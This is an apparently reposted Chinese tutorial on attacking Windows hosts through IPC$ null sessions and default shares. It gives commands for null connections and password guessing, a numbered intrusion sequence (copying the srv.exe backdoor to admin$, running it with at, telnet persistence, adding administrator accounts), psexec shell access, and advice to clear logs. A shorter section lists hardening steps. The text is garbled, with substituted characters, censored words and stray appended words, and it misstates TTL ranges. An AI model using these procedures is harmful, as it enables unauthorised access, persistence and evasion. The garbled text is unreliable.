1,ping一下,若是返回的TTL在0和100之间,表示是windows主机,若是在200和300之间,表示是linux和unix主机。linux
2,***跳板技术ios
3,PC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通讯而开放的命名管道,经过提供可信任的用户名和口令,链接双方能够创建安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能,它有一个特色,即在同一时间内,两个IP之间只容许创建一个链接。NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即全部的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。全部的这些,微软的初衷都是为了方便管理员的管理,但在有意无心中,致使了系 统安全性的下降。
平时咱们总能听到有人在说ipc$漏洞,ipc$漏洞,其实ipc$并非一个真正意义上的漏洞,我想之因此有人这么说,必定是指微软本身安置的那个‘后门’:空会话(Null session)。那么什么是空会话呢?
三 什么是空会话
在介绍空会话以前,咱们有必要了解一下一个安全会话是如何创建的。
在Windows NT 4.0中是使用挑战响应协议与远程机器创建一个会话的,创建成功的会话将成为一个安全隧道,创建双方经过它互通讯息,这个过程的大体顺序以下:
1)会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的建
立;
2)服务器产生一个随机的64位数(实现挑战)传送回客户;
3)客户取得这个由服务器产生的64位数,用试图创建会话的账号的口令打乱它,将结
果返回到服务器(实现响应);
4)服务器接受响应后发送给本地安全验证(LSA),LSA经过使用该用户正确的口令来核实响应以便确认请求者身份。若是请求者的账号是服务器的本地账号,核实本地发生;若是请求的账号是一个域的账号,响应传送到域控制器去核实。当对挑战的响应核实为正确 后,一个访问令牌产生,而后传送给客户。客户使用这个访问令牌链接到服务器上的资源直到建议的会话被终止。
以上是一个安全会话创建的大体过程,那么空会话又如何呢?
空会话是在没有信任的状况下与服务器创建的会话(即未提供用户名与密码),但根据WIN2000的访问控制模型,空会话的创建一样须要提供一个令牌,但是空会话在创建过程当中并无通过用户信息的认证,因此这个令牌中不包含用户信息,所以,这个会话不能让系 统间发送加密信息,但这并不表示空会话的令牌中不包含安全标识符SID(它标识了用户和所属组),对于一个空会话,LSA提供的令牌的SID是S-1-5-7,这就是空会话的SID,用户名是:ANONYMOUS LOGON(这个用户名是能够在用户列表中看到的,可是是不能在SAM数据库中找到,属于系统内置的账号),这个访问令牌包含下面假装的组:
Everyone
Network
在安全策略的限制下,这个空会话将被受权访问到上面两个组有权访问到的一切信息。那么创建空会话到底能够做什么呢?
四 空会话能够作什么
对于NT,在默认安全设置下,借助空链接能够列举目标主机上的用户和共享,访问everyone权限的共享,访问小部分注册表等,并无什么太大的利用价值;对2000做用更小,由于在Windows 2000 和之后版本中默认只有管理员和备份#做员有权从网络访问到注册表,并且实现起来也不方便,需借助工具。
从这些咱们能够看到,这种非信任会话并无多大的用处,但从一次完整的ipc$***来看,空会话是一个不可缺乏的跳板,由于咱们从它那里能够获得户列表,而大多数弱口令扫描工具就是利用这个用户列表来进行口令猜解的,成功的导出用户列表大大增长了猜解的成 功率,仅从这一点,足以说明空会话所带来的安全隐患,所以说空会话毫无用处的说法是不正确的。如下是空会话中可以使用的一些具体命令:
1 首先,咱们先创建一个空链接(固然,这须要目标开放ipc$)
命令:net use \\ip\ipc$ "" /user:""
注意:上面的命令包括四个空格,net与use中间有一个空格,use后面一个,密码左右各一个空格。
2 查看远程主机的共享资源
命令:net view \\ip
解释:前提是创建了空链接后,用此命令能够查看远程主机的共享资源,若是它开了共享,能够获得以下面的结果,但此命令不能显示默认共享。
在 \\*.*.*.*的共享资源
资源共享名 类型 用途 注释
-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。
3 查看远程主机的当前时间
命令: net time \\ip
解释:用此命令能够获得一个远程主机的当前时间。
4 获得远程主机的NetBIOS用户名列表(须要打开本身的NBT)
命令:nbtstat -A ip
用此命令能够获得一个远程主机的NetBIOS用户名列表,返回以下结果:
Node IpAddress: [*.*.*.*] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
SERVER UNIQUE Registered
OYAMANISHI-H GROUP Registered
OYAMANISHI-H GROUP Registered
SERVER UNIQUE Registered
OYAMANISHI-H UNIQUE Registered
OYAMANISHI-H GROUP Registered
SERVER UNIQUE Registered
OYAMANISHI-H UNIQUE Registered
..__M##ROWSE__. GROUP Registered
INet~Services GROUP Registered
IS~SERVER...... UNIQUE Registered
MAC Address = 00-50-8B-9A-2D-37
以上就是咱们常用空会话作的事情,好像也能得到很多东西哟,不过要注意一点:创建IPC$链接的#做会在Event Log中留下记录,无论你是否登陆成功。 好了,那么下面咱们就来看看ipc$所使用的端口是什么?
五 ipc$所使用的端口
首先咱们来了解一些基础知识:
1 SMB: (Server Message Block) Windows协议族,用于文件打印共享的服务;
2 NBT: (NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
3 在WindowsNT中SMB基于NBT实现,即便用139(TCP)端口;而在Windows2000中,SMB除了基于NBT实现,还能够直接经过445端口实现。
有了这些基础知识,咱们就能够进一步来讨论访问网络共享对端口的选择了:
对于win2000客户端(发起端)来讲:
1 若是在容许NBT的状况下链接服务器时,客户端会同时尝试访问139和445端口,若是445端口有响应,那么就发送RST包给139端口断开链接,用455端口进行会话,当445端口无响应时,才使用139端口,若是两个端口都没有响应,则会话失败;
2 若是在禁止NBT的状况下链接服务器时,那么客户端只会尝试访问445端口,若是445端口无响应,那么会话失败。
对于win2000服务器端来讲:
1 若是容许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放(LISTENING);
2 若是禁止NBT,那么只有445端口开放。
咱们创建的ipc$会话对端口的选择一样遵照以上原则。显而易见,若是远程服务器没有监听139或445端口,ipc$会话是没法创建的。
六 ipc管道在hack***中的意义
ipc管道原本是微软为了方便管理员进行远程管理而设计的,但在***者看来,开放ipc管道的主机彷佛更容易得手。经过ipc管道,咱们能够远程调用一些系统函数(大多经过工具实现,但须要相应的权限),这每每是***成败的关键。若是不考虑这些,仅从传送 文件这一方面,ipc管道已经给了***者莫大的支持,甚至已经成为了最重要的传输手段,所以你总能在各大论坛上看到一些朋友由于打不开目标机器的ipc管道而束手无策大呼救命。固然,咱们也不能忽视权限在ipc管道中扮演的重要角色,想必你必定品尝过空会 话的尴尬,没有权限,开启管道咱们也迫不得已。但***者一旦得到了管理员的权限,那么ipc管道这把双刃剑将显示出它狰狞的一面。
七 ipc$链接失败的常见缘由
如下是一些常见的致使ipc$链接失败的缘由:
1 IPC链接是Windows NT及以上系统中特有的功能,因为其须要用到Windows NT中不少DLL函数,因此不能在Windows 9.x/Me系统中运行,也就是说只有nt/2000/xp才能够相互创建ipc$链接,98/me是不能创建ipc$链接的;
2 若是想成功的创建一个ipc$链接,就须要响应方开启ipc$共享,即便是空链接也是这样,若是响应方关闭了ipc$共享,将不能创建链接;
3 链接发起方未启动Lanmanworkstation服务(显示名为:Workstation):它提供网络链结和通信,没有它发起方没法发起链接请求;
4 响应方未启动Lanmanserver服务(显示名为:Server):它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依赖于此服务,没有它主机将没法响应发起方的链接请求,不过没有它仍可发起ipc$链接;
5 响应方未启动NetLogon,它支持网络上计算机 pass-through 账户登陆身份(不过这种状况好像很少);
6 响应方的139,445端口未处于监听状态或被防火墙屏蔽;
7 链接发起方未打开139,445端口;
8 用户名或者密码错误:若是发生这样的错误,系统将给你相似于''没法更新密码''这样的错误提示(显然空会话排除这种错误);
9 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号能够省略,若是密码为空,能够直接输入两个引号""便可;
10 若是在已经创建好链接的状况下对方重启计算机,那么ipc$链接将会自动断开,须要从新创建链接。
另外,你也能够根据返回的错误号分析缘由:
错误号5,拒绝访问:极可能你使用的用户不是管理员权限的;
错误号51,Windows没法找到网络路径:网络有问题;
错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方创建了一个ipc$,请删除再连;
错误号1326,未知的用户名或错误密码:缘由很明显了;
错误号1792,试图登陆,可是网络登陆服务没有启动:目标NetLogon服务未启动;
错误号2242,此用户的密码已通过期:目标有账号策略,强制按期要求更改密码。
八 复制文件失败的缘由
有些朋友虽然成功的创建了ipc$链接,但在copy时却遇到了这样那样的麻烦,没法复制成功,那么致使复制失败的常见缘由又有哪些呢?
1 对方未开启共享文件夹
这类错误出现的最多,占到50%以上。许多朋友在ipc$链接创建成功后,甚至都不知道对方是否有共享文件夹,就进行盲目复制,结果致使复制失败并且郁闷的很。所以我建议你们在进行复制以前务必用net view \\IP这个命令看一下你想要复制的共享文件夹是否存在(用软件查看固然更好),不要认为能创建ipc$链接就必定有共享文件夹存在。
2 向默认共享复制失败
这类错误也是你们常常犯的,主要有两个小方面:
1)错误的认为能创建ipc$链接的主机就必定开启了默认共享,于是在创建完链接以后立刻向c$,d$,admin$之类的默认共享复制文件,一旦对方未开启默认共享,将致使复制失败。ipc$链接成功只能说明对方打开了ipc$共享,并不能说明默认共享 必定存在。ipc$共享与默认共享是两码事,ipc$共享是一个命名管道,并非哪一个实际的文件夹,而默认共享倒是实实在在的共享文件夹;
2)因为net view \\IP 这个命令没法显示默认共享文件夹(由于默认共享带$),所以经过这个命令,咱们并不能判断对方是否开启了默认共享,所以若是对方未开启默认共享,那么全部向默认共享进行的#做都不能成功;(不过大部分扫描软件在扫弱口令的同时,都能扫到默认共享目录,能够 避免此类错误的发生)
要点:请你们必定区分ipc共享,默认共享,普通共享这三者的区别:ipc共享是一个管道,并非实际的共享文件夹;默认共享是安装时默认打开的文件夹;普通共享是咱们本身开启的能够设置权限的共享文件夹。
3用户权限不够,包括四种情形:
1)空链接向全部共享(默认共享和普通共享)复制时,权限是不够的;
2)向默认共享复制时,在Win2000 Pro版中,只有Administrators和Backup Operators组成员才能够,在Win2000 Server版本 Server Operatros组也能够访问到这些共享目录;
3)向普通共享复制时,要具备相应权限(即对方管理员事先设定的访问权限);
4)对方能够经过防火墙或安全软件的设置,禁止外部访问共享;
注意:
1 不要认为administrator就必定具备管理员权限,管理员名称是能够改的
2 管理员能够访问默认共享的文件夹,但不必定可以访问普通的共享文件夹,由于管理员能够对普通的共享文件夹进行访问权限设置,如图6,管理员为D盘设置的访问权限为仅容许名为xinxin的用户对该文件夹进行彻底访问,那么此时即便你拥有管理员权限,你仍然 不能访问D盘。不过有意思的是,若是此时对方又开启了D$的默认共享,那么你却能够访问D$,从而绕过了权限限制,有兴趣的朋友能够本身作测试。
4被防火墙杀死或在局域网
还有一种状况,那就是也许你的复制#做已经成功,但当远程运行时,被防火墙杀掉了,致使找不到文件;或者你把***复制到了局域网内的主机,致使链接失败(反向链接的***不会发生这种状况)。若是你没有想到这种状况,你会觉得是复制上出了问题,但实际你的复 制#做已经成功了,只是运行时出了问题。
呵呵,你们也知道,ipc$链接在实际#做过程当中会出现各类各样的问题,上面我所总结的只是一些常见错误,没说到的,你们能够给我提个醒儿。
九 关于at命令和xp对ipc$的限制
原本还想说一下用at远程运行程序失败的缘由,但考虑到at的成功率不是很高,问题也不少,在这里就不提它了(提的越多,用的人就越多),而是推荐你们用p***ec.exe远程运行程序,假设想要远程机器执行本地c:\xinxin.exe文件,且管理 员为administrator,密码为1234,那么输入下面的命令:
p***ec \\ip -u administrator -p 1234 -c c:\xinxin.exe
若是已经创建ipc链接,则-u -p这两个参数不须要,p***ec.exe将自动拷贝文件到远程机器并运行。
原本xp中的ipc$也不想在这里讨论,想单独拿出来讨论,但看到愈来愈多的朋友很急切的提问为何遇到xp的时候,大部分#做都很难成功。我在这里就简单提一下吧,在xp的默认安全选项中,任何远程访问仅被赋予来宾权限,也就是说即便你是用管理员账户和 密码,你所获得的权限也只是Guest,所以大部分#做都会由于权限不够而失败,并且到目前为止并无一个好的办法来突破这一限制。因此若是你真的获得了xp的管理员密码,我建议你尽可能避开ipc管道。
十 如何打开目标的IPC$共享以及其余共享
目标的ipc$不是轻易就能打开的,不然就要天下打乱了。你须要一个admin权限的shell,好比telnet,***,cmd重定向等,而后在shell下执行:
net share ipc$
开放目标的ipc$共享;
net share ipc$ /del
关闭目标的ipc$共享;若是你要给它开共享文件夹,你能够用:
net share xinxin=c:\
这样就把它的c盘开为共享名为xinxin共享文件夹了。(但是我发现不少人错误的认为开共享文件夹的命令是net share c$,还大模大样的给菜鸟指指点点,真是误人子弟了)。再次声明,这些#做都是在shell下才能实现的。
十一 一些须要shell才能完成的命令
看到不少教程这方面写的十分不许确,一些须要shell才能完成命令就简简单单的在ipc$链接下执行了,起了误导做用。那么下面我总结一下须要在shell才能完成的命令:
1 向远程主机创建用户,激活用户,修改用户密码,加入管理组的#做须要在shell下完成;
2 打开远程主机的ipc$共享,默认共享,普通共享的#做须要在shell下完成;
3 运行/关闭远程主机的服务,须要在shell下完成;
4 启动/杀掉远程主机的进程,也须要在shell下完成(用软件的状况下除外,如pskill)。
十二 ***中可能会用到的命令
为了这份教程的完整性,我列出了ipc$***中的一些经常使用命令,若是你已经掌握了这些命令,你能够跳过这一部分看下面的内容。请注意这些命令是适用于本地仍是远程,若是只适用于本地,你只能在得到远程主机的shell(如cmd,telnet等)后,才能 向远程主机执行。
1 创建/删除ipc$链接的命令
1)创建空链接:
net use \\127.0.0.1\ipc$ "" /user:""
2)创建非空链接:
net use \\127.0.0.1\ipc$ "密码" /user:"用户名"
3)删除链接:
net use \\127.0.0.1\ipc$ /del
2 在ipc$链接中对远程主机的#做命令
1) 查看远程主机的共享资源(看不到默认共享):
net view \\127.0.0.1
2) 查看远程主机的当前时间:
net time \\127.0.0.1
3) 获得远程主机的netbios用户名列表:
nbtstat -A 127.0.0.1
4)映射/删除远程共享:
net use z: \\127.0.0.1\c
此命令将共享名为c的共享资源映射为本地z盘
net use z: /del
删除映射的z盘,其余盘类推
5)向远程主机复制文件:
copy 路径\文件名 \\IP\共享目录名,如:
copy c:\xinxin.exe \\127.0.0.1\c$ 即将c盘下的xinxin.exe复制到对方c盘内
固然,你也能够把远程主机上的文件复制到本身的机器里:
copy \\127.0.0.1\c$\xinxin.exe c:\
6)远程添加计划任务:
at \\IP 时间 程序名 如:
at \\127.0.0.0 11:00 xinxin.exe
注意:时间尽可能使用24小时制;若是你打算运行的程序在系统默认搜索路径(好比system32/)下则不用加路径,不然必须加全路径
3 本地命令
1)查看本地主机的共享资源(能够看到本地的默认共享)
net share
2)获得本地主机的用户列表
net user
3)显示本地某用户的账户信息
net user 账户名
4)显示本地主机当前启动的服务
net start
5)启动/关闭本地服务
net start 服务名
net stop 服务名
6)在本地添加账户
net user 账户名 密码 /add
7)激活禁用的用户
net uesr 账户名 /active:yes
8)加入管理员组
net localgroup administrators 账户名 /add
很显然的是,虽然这些都是本地命令,但若是你在远程主机的shell中输入,好比你telnet成功后输入上面这些命令,那么这些本地输入将做用在远程主机上。
4 其余一些命令
1)telnet
telnet IP 端口
telnet 127.0.0.0 23
2)用opentelnet.exe开启远程主机的telnet
OpenTelnet.exe \\ip 管理员账号 密码 NTLM的认证方式 port
OpenTelnet.exe \\127.0.0.1 administrator "" 1 90
不过这个小工具须要知足四个要求:
1)目标开启了ipc$共享
2)你要拥有管理员密码和账号
3)目标开启RemoteRegistry服务,用户就能够更改ntlm认证
4)对仅WIN2K/XP有效
3)用p***ec.exe一步得到shell,须要ipc管道支持
p***ec.exe \\IP -u 管理员账号 -p 密码 cmd
p***ec.exe \\127.0.0.1 -u administrator -p "" cmd
十三 对比过去和现今的ipc$***
既然是对比,那么我就先把过去的ipc$***步骤写给你们,都是蛮经典的步骤:
[1]
C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators
\\用扫到的空口令创建链接
[2]
c:\>net view \\127.0.0.1
\\查看远程的共享资源
[3]
C:\>copy srv.exe \\127.0.0.1\admin$\system32
\\将一次性后门srv.exe复制到对方的系统文件夹下,前提是admin$开启
[4]
C:\>net time \\127.0.0.1
\\查看远程主机的当前时间
[5]
C:\>at \\127.0.0.1 时间 srv.exe
\\用at命令远程运行srv.exe,须要对方开启了''Task Scheduler''服务
[6]
C:\>net time \\127.0.0.1
\\再次查看当前时间来估算srv.exe是否已经运行,此步能够省略
[7]
C:\>telnet 127.0.0.1 99
\\开一个新窗口,用telnet远程登录到127.0.0.1从而得到一个shell(不懂shell是什么意思?那你就把它想象成远程机器的控制权就行了,#做像DOS),99端口是srv.exe开的一次性后门的端口
[8]
C:\WINNT\system32>net start telnet
\\咱们在刚刚登录上的shell中启动远程机器的telnet服务,毕竟srv.exe是一次性的后门,咱们须要一个长久的后门便于之后访问,若是对方的telnet已经启动,此步可省略
[9]
C:\>copy ntlm.exe \\127.0.0.1\admin$\system32
\\在原来那个窗口中将ntlm.exe传过去,ntlm.exe是用来更改telnet身份验证的
[10]
C:\WINNT\system32>ntlm.exe
\\在shell窗口中运行ntlm.exe,之后你就能够畅通无阻的telnet这台主机了
[11]
C:\>telnet 127.0.0.1 23
\\在新窗口中telnet到127.0.0.1,端口23可省略,这样咱们又得到一个长期的后门
[12]
C:\WINNT\system32>net user 账户名 密码 /add
C:\WINNT\system32>net uesr guest /active:yes
C:\WINNT\system32>net localgroup administrators 账户名 /add
\\telnet上之后,你能够创建新账户,激活guest,把任何账户加入管理员组等
好了,写到这里我彷佛回到了2,3年前,那时的ipc$你们都是这么用的,不过随着新工具的出现,上面提到的一些工具和命令如今已经不经常使用到了,那就让咱们看看如今的高效而简单的ipc$***吧。
[1]
p***ec.exe \\IP -u 管理员账号 -p 密码 cmd
\\用这个工具咱们能够一步到位的得到shell
OpenTelnet.exe \\server 管理员账号 密码 NTLM的认证方式 port
\\用它能够方便的更改telnet的验证方式和端口,方便咱们登录
[2]
已经没有第二步了,用一步得到shell以后,你作什么均可以了,安后门能够用winshell,克隆就用ca吧,开终端用3389.vbe,记录密码用win2kpass,总之好的工具很多,随你选了,我就很少说了。
十四 如何防范ipc$***察看本地共享资源
运行-cmd-输入net share
删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(若是有e,f,……能够继续删除)
1 禁止空链接进行枚举(此#做并不能阻止空链接的创建)
运行regedit,找到以下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改成:1
若是设置为"1",一个匿名用户仍然能够链接到IPC$共享,但没法经过这种链接获得列举SAM账号和共享信息的权限;在Windows 2000 中增长了"2",未取得匿名权的用户将不能进行ipc$空链接。建议设置为1。若是上面所说的主键不存在,就新建一个再改键值。若是你以为改注册表麻烦,能够在本地安全设置中设置此项: 在本地安全设置-本地策略-安全选项-''对匿名链接的额外限制''
2 禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(重起后默认共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(若是有e,f,……能够继续删除)
3)中止server服务
net stop server /y (从新启动后server服务会从新开启)
4)禁止自动打开默认共享(此#做并不能关闭ipc$共享)
运行-regedit
server版:找到以下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改成:00000000。
pro版:找到以下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改成:00000000。
这两个键值在默认状况下在主机上是不存在的,须要本身手动添加,修改后重起机器使设置生效。
3 关闭ipc$和默认共享依赖的服务:server服务
若是你真的想关闭ipc$共享,那就禁止server服务吧:
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-选已禁用,这时可能会有提示说:XXX服务也会关闭是否继续,由于还有些次要的服务要依赖于server服务,不要管它。
4 屏蔽139,445端口
因为没有以上两个端口的支持,是没法创建ipc$的,所以屏蔽139,445端口一样能够阻止ipc$***。
1)139端口能够经过禁止NBT来屏蔽
本地链接-TCP/IT属性-高级-WINS-选‘禁用TCP/IT上的NETBIOS’一项
2)445端口能够经过修改注册表来屏蔽
添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
value: 0
修改完后重启机器
注意:若是屏蔽掉了以上两个端口,你将没法用ipc$***别人。
3)安装防火墙进行端口过滤
6 设置复杂密码,防止经过ipc$穷举出密码,我以为这才是最好的办法,加强安全意识,比不停的打补丁要安全的多。
十五 ipc$***问答精选
1.进行ipc$***的时候,会在服务器中留下记录,有什么办法能够不让服务器发现吗?
答:留下记录是必定的,你走后用清除日志程序删除就能够了,或者用肉鸡***。
2.你看下面的状况是为何,能够链接但不能复制
net use \\***.***.***.***\ipc$ "密码" /user:"用户名"
命令成功
copy icmd.exe \\***.***.***.***\admin$
找不到网络路径
命令不成功
答:像“找不到网络路径”“找不到网络名”之类的问题,大可能是由于你想要复制到的共享文件夹没有开启,因此在复制的时候会出现错误,你能够试着找找其余的共享文件夹。
3.若是对方开了IPC$,且能创建空联接,但打开C、D盘时,都要求密码,我知道是空链接没有太多的权限,但没别的办法了吗?
答:建议先用流光或者别的什么扫描软件试着猜解一下密码,若是猜不出来,只能放弃,毕竟空链接的能力有限。
4.我已经猜解到了管理员的密码,且已经ipc$链接成功了,但net view \\ip发现它没开默认共享,我该怎么办?
答:首先纠正你的一个错误,用net view \\ip是没法看到默认共享的,你能够试着将文件复制到c$,d$看看,若是都不行,说明他关闭了默认共享,那你就用opentelnet.exe或p***ec.exe吧,用法上面有。
5.ipc$链接成功后,我用下面的命令创建了一个账户,却发现这个账户在我本身的机器上,这是怎么回事?
net uset ccbirds /add
答:ipc$创建成功只能说明你与远程主机创建了通讯隧道,并不意味你取得了一个shell,只有在得到一个shell(好比telnet)以后,你才能在远程机器创建一个账户,不然你的#做只是在本地进行。
6.我已进入了一台肉机,用的管理员账号,能够看他的系统时间,可是复制程序到他的机子上却不行,每次都提示“拒绝访问,已复制0个文件”,是否是对方有什么服务没开,我该怎么办?
答:通常来讲“拒绝访问”都是权限不够的结果,多是你用的账户有问题,还有一种可能,若是你想向普通共享文件夹复制文件却返回这个错误,说明这个文件夹设置的容许访问用户中不包括你(哪怕你是管理员),这一点我在上一期文章中分析了。
7.我用Win98能与对方创建ipc$链接吗?
答:理论上不能够,要进行ipc$的#做,建议用win2000,用其余#做系统会带来许多没必要要的麻烦。
8.我用net use \\ip\ipc$ "" /user ""成功的创建了一个空会话,但用nbtstat -A IP 却没法导出用户列表,这是为何?
答:空会话在默认的状况下是能够导出用户列表的,但若是管理员经过修改注册表来禁止导出列表,就会出现你所说的状况;还有多是你本身的NBT没有打开,netstat命令是创建在NBT之上的。
9.我创建ipc$链接的时候返回以下信息:‘提供的凭据与已存在的凭据集冲突’,怎么回事?
答:呵呵,这说明你已经与目标主机创建了ipc$链接,两个主机间同时创建两个ipc$链接是不容许的。
10.我在映射的时候出现:
F:\>net use h: \\211.161.134.*\e$
系统发生 85 错误。
本地设备名已在使用中。这是怎么回事?
答:你也太粗心了吧,这说明你有一个h盘了,映射到没有的盘符吧!
11.我创建了一个链接f:\>net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了,但当我映射时出现了错误,向我要密码,怎么回事?
F:\>net use h: \\*.*.*.*\c$
密码在 \\*.*.*.*\c$ 无效。
请键入 \\*.*.*.*\c$ 的密码:
系统发生 5 错误。
拒绝访问。
答:呵呵,向你要密码说明你当前使用的用户权限不够,不能映射C$这个默认共享,想办法提高权限或者找管理员的弱口令吧!默认共享通常是须要管理员权限的。
12.我用superscan扫到了一个开了139端口的主机,但为何不能空链接呢?
答:你混淆了ipc$与139的关系,能进行ipc$链接的主机必定开了139或445端口,但开这两个端口的主机可不必定能空链接,由于对方能够关闭ipc$共享.
13.我门局域网里的机器大多都是xp,我用流光扫描到几个administrator账号口令是空,并且能够链接,但不能复制东西,说错误5。请问为何?
答:xp的安全性要高一些,在安全策略的默认设置中,对本地账户的网络登陆进行身份验证的时候,默认为来宾权限,即便你用管理员远程登陆,也只具备来宾权限,所以你复制文件,固然是错误5:权限不够。
14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,但是 net use i: \\192.168.0.2\c
出现请键入 \\192.168.0.2 的密码,怎么回事情呢?我用的但是管理员呀?应该什么均可以访问呀?
答:虽然你具备管理员权限,但管理员在设置c盘共享权限时(注意:普通共享能够设置访问权限,而默认共享则不能)可能并未设置容许administrator访问,因此会出现上述问题。
15.若是本身的机器禁止了ipc$, 是否是还能够用ipc$链接别的机器?若是禁止server服务呢?
答:禁止以上两项仍能够发起ipc$链接,不过这种问题本身动手试验会更好。
16.能告诉我下面的两个错误产生的缘由吗?
c:\>net time \\61.225.*.*
系统发生 5 错误。
拒绝访问。
c:\>net view \\61.225.*.*
系统发生 5 错误。
拒绝访问。
答:起初遇到这个问题的时候我也很纳闷,错误5表示权限不够,但是连空会话的权限均可以完成上面的两个命令,他为何不行呢?难道是他没创建链接?后来那个粗心的同志告诉个人确是这样,他忘记了本身已经删了ipc$链接,以后他又输入了上面那两个命令,随 之发生了错误5。
17.您看看这是怎么回事?
F:\>net time
找不到时间服务器。
请键入 NET HELPMSG 3912 以得到更多的帮助。
答:答案很简单,你的命令错了,应该是net time \\ipshell
没输入ip地址,固然找不到服务器。view的命令也应该有ip地址,即:net view \\ip数据库